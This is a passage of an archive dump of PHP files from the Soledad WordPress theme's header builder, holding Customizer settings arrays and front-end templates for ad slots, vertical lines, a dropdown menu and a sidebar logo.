			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'   => __( 'Button Spacing', 'soledad' ),
	'choices' => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_bookmark_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\M;  ;  /  inc/builder/elements/pb_html_ad_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_2_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-2">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     N\MT=T	  T	  .  inc/builder/elements/pb_html_ad_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_builder_pb_html_2_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_2_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_2_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_2_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\.    5  inc/builder/elements/pb_vertical_line_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line3_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_width' );
$line3_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_height' );
$line3_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_color' );
$line3_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_class' );
$data_attr   = [];
if ( ! empty( $line3_width ) ) {
	$data_attr[] = 'width:' . $line3_width . 'px;';
}
if ( ! empty( $line3_height ) ) {
	$data_attr[] = 'height:' . $line3_height . 'px;';
}
if ( ! empty( $line3_color ) ) {
	$data_attr[] = 'background-color:' . $line3_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-3 <?php echo esc_attr( $line3_class ); ?>"></div>
PK     N\ `'5  5  4  inc/builder/elements/pb_vertical_line_3/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\==  =  3  inc/builder/elements/pb_dropdown_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id      = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_name', '' );
$parent_click = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_vernav_click_parent' );
$classes      = [];
$classes[]    = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_class', 'no-class' );
$classes[]    = 'enable' == $parent_click ? 'penci-vernav-cparent' : 'normal-click';
if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_vernav_click_parent' ) == 'enable' ) {
	$classes[] = 'pchb-cparent';
}
add_filter( 'theme_mod_penci_vernav_click_parent', function ( $value ) {
	if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_vernav_click_parent' ) == 'enable' ) {
		$value = true;
	}

	return $value;
} );
?>
    <div class="pc-builder-element pc-builder-menu pc-dropdown-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<?php
			$args = array(
				'container'   => false,
				'menu_class'  => 'menu menu-hgb-main',
				'fallback_cb' => 'penci_menu_fallback',
				'walker'      => new penci_menu_builder_walker_nav_menu()
			);
			if ( $menu_id ) {
				$args['menu'] = $menu_id;
			} else {
				$args['location'] = 'primary-menu';
			}
			wp_nav_menu( $args );
			?>
        </nav>
    </div>
<?php 


PK     N\Sl^  ^  2  inc/builder/elements/pb_dropdown_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_dropdown_menu_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	
	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'placeholder'     => esc_html__( 'Select an the menu', 'soledad' ),
	'choices'         => penci_builder_menu_list(),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'partial_refresh' => [
		'penci_header_pb_dropdown_menu_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Dropdown Menu Items','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);
$options[] = array(
	'id'          => 'penci_header_pb_dropdown_menu_penci_vernav_click_parent',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __('Enable click on Parent Menu Item to open Child Menu Items','soledad' ),
	'description' => __('By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_size_lv1',
	'default'   => '12',
	'sanitize'  => 'absint',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_dropdown_menu_penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_font_size_drop',
	'default'   => '12',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_pb_dropdown_menu_penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Hover & Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_penci_menu_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Borders Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_dropdown_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\gCE  E  4  inc/builder/elements/pb_html_ad_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_mobile_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-mobile">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     N\M|	  |	  3  inc/builder/elements/pb_html_ad_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_builder_pb_html_mobile_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_mobile_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_mobile_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_mobile_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\^=    2  inc/builder/elements/pb_logo_sidebar/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo_sidebar';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display  = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title    = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class    = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( get_theme_mod( 'penci_mobile_nav_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_mobile_nav_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo pb-logo-sidebar-mobile penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo;?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pb-logo-sidebar-mobile penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title ) ): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     N\yh} $  $  1  inc/builder/elements/pb_logo_sidebar/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_logo_display',
	'default'   => 'image',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-radio',
	
	'label'     => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'  => 10,
	'choices'   => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_image_setting_url',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-image',
	
	'label'       => esc_html__( 'Logo Image', 'soledad' ),
	'description' => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_size_logo_mw',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'absint',
	'type'      => 'soledad-fw-size',
	'label' => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_size_logo_mw',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_size_logo_mh',
	'default'     => '60',
	'transport'   => 'postMessage',
	'sanitize'    => 'absint',
	'type'      => 'soledad-fw-size',
	'label' => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_size_logo_mh',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	
	'label'     => __( 'Custom Logo Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_site_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	
	'label'     => esc_html__( 'Text Logo', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_site_description',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Slogan Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sidebar_site_description' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_font_size_logo',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'absint',
	'type'      => 'soledad-fw-size',
	'label' => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_font_size_logo',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_color_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_penci_font_for_title',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Text Logo','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_font_size_slogan',
	'default'     => '',
	'transport'   => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'label' => __( 'Font Size for Slogan', 'soledad' ),
	'ids'    => array(
		'desktop' => 'penci_header_pb_logo_sidebar_font_size_slogan',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color Header Slogan','soledad' ),
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sidebar_penci_font_for_slogan',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Slogan Text','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebar_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sidebarclass',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
